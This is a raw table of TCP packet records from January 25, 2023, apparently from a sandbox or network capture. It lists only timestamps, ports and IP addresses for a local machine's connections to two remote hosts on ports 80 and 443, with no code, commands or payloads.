Jan 25, 2023 21:04:28.761794090 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.761820078 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.761822939 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.761845112 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.761856079 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.761904001 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.761909962 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.761924982 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.761943102 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.761981010 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.762000084 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.762005091 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.762049913 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.762058020 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.762104988 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.762106895 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.762159109 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.762165070 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.762216091 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.762217045 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.762248039 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.762270927 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.762291908 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.762293100 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.762337923 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.762356043 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.762371063 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.762413025 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.762420893 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.762420893 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.762465954 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.762468100 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.762522936 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.762531996 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.762571096 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.762599945 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.762604952 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.762619019 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.762638092 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.762666941 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.762677908 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.762718916 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.762737989 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.762737989 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.762752056 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.762784004 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.762797117 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.762813091 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.762842894 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.762845039 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.762845039 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.762875080 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.762895107 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.762896061 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.762907028 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.762942076 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.762943029 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.762973070 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.762978077 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.763000965 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.763025045 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.763025045 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.763034105 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.763062954 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.763072014 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.763072968 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.763096094 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.763124943 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.763138056 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.763154984 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.763185024 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.763184071 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.763184071 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.763211966 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.763216019 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.763232946 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.763246059 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.763277054 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.763292074 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.763292074 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.763308048 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.763319016 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.763339996 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.763360977 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.763381004 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.763400078 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.763411045 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.763441086 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.763442039 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.763465881 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.763475895 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.763498068 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.763508081 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.763528109 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.763540983 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.763571024 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.763576984 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.763598919 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.763607979 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.763628960 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.763631105 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.763654947 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.763657093 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.763680935 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.763686895 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.763703108 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.763720989 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.763742924 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.763772011 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:31.781537056 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:31.781641960 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:31.819449902 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.819677114 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.819715023 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.819751024 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.820008039 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:31.820221901 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:31.858191013 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.858288050 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.858330011 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.858386993 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.858426094 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.858509064 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:31.858514071 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.858549118 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.858589888 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:31.858608961 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.858648062 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:31.858649969 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.858648062 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:31.858680010 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:31.858752012 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:31.896373987 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.896403074 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.896413088 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.896502972 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.896574020 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.896615982 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:31.896693945 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:31.896694899 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.896693945 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:31.896750927 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:31.896814108 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.896871090 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:31.896905899 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.896959066 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:31.897020102 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.897069931 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:31.897111893 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.897165060 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:31.897209883 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.897311926 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:31.897974014 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.897989988 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.898005009 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.898020029 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.898035049 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.898050070 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.898058891 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:31.898094893 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:31.934324026 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.934356928 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.934381008 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.934396982 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.934412003 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.934464931 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.934588909 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.935395956 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.935549021 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.935564041 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.935662985 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.935677052 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.935739994 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.935822010 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.935906887 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.935923100 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.935980082 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.936060905 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.936110020 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:31.936194897 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:33.290936947 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:33.291045904 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:33.615406036 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:33.615474939 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:33.615586996 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:33.620312929 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:33.620352983 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:33.722467899 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:33.722640991 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:33.955939054 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:33.955971003 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:33.956376076 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:33.956470013 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:33.958471060 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:33.958497047 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.374099016 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.374140024 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.374164104 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.374197006 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.374226093 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.374239922 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.374263048 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.374278069 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.374296904 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.374303102 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.374341011 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.374356985 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.374375105 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.374404907 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.402479887 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.402563095 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.402879000 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.402930975 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.402930975 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.402995110 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.403024912 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.403122902 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.403224945 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.403341055 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.403445005 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.403588057 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.403624058 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.403687000 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.403726101 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.403778076 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.431188107 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.431253910 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.431366920 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.431392908 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.431432009 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.431443930 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.431454897 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.431474924 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.431509018 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.431529045 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.431536913 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.431552887 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.431602001 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.431634903 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.431869984 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.431935072 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.431968927 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.431982994 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.432013035 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.432032108 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.432162046 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.432203054 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.432235956 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.432245016 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.432286978 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.432302952 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.432352066 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.432393074 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.432431936 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.432444096 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.432477951 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.432488918 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.432499886 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.432517052 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.432560921 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.432566881 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.432590961 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.432601929 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.432635069 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.432665110 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.460458040 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.460566998 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.460604906 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.460676908 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.460746050 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.460817099 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.460829973 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.460887909 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.461335897 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.461405039 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.461420059 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.461483955 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.461486101 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.461527109 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.461852074 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.461913109 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.461927891 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.461951017 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.461973906 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.461992979 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.462189913 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.462255001 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.462270021 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.462295055 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.462313890 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.462380886 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.462466002 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.462496996 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.462548971 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.462569952 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.462588072 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.462608099 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.462626934 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.462657928 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.462709904 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.462743044 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.462754011 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.462783098 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.462799072 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.463464975 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.463511944 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.463573933 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.463588953 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.463608980 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.463639975 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.463644981 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.463685036 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.463695049 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.463726997 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.463732004 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.463757038 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.463761091 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.463773012 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.463812113 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.463854074 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.496175051 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.496208906 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.496284008 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.496310949 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.496330976 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.496361017 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.524182081 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.524194956 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.524308920 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.524389029 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.524394035 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.524452925 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.524524927 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.524595976 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:34.524606943 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.524606943 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.524606943 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.524606943 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.524606943 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:34.524638891 CET	443	49716	92.222.250.82	192.168.2.6
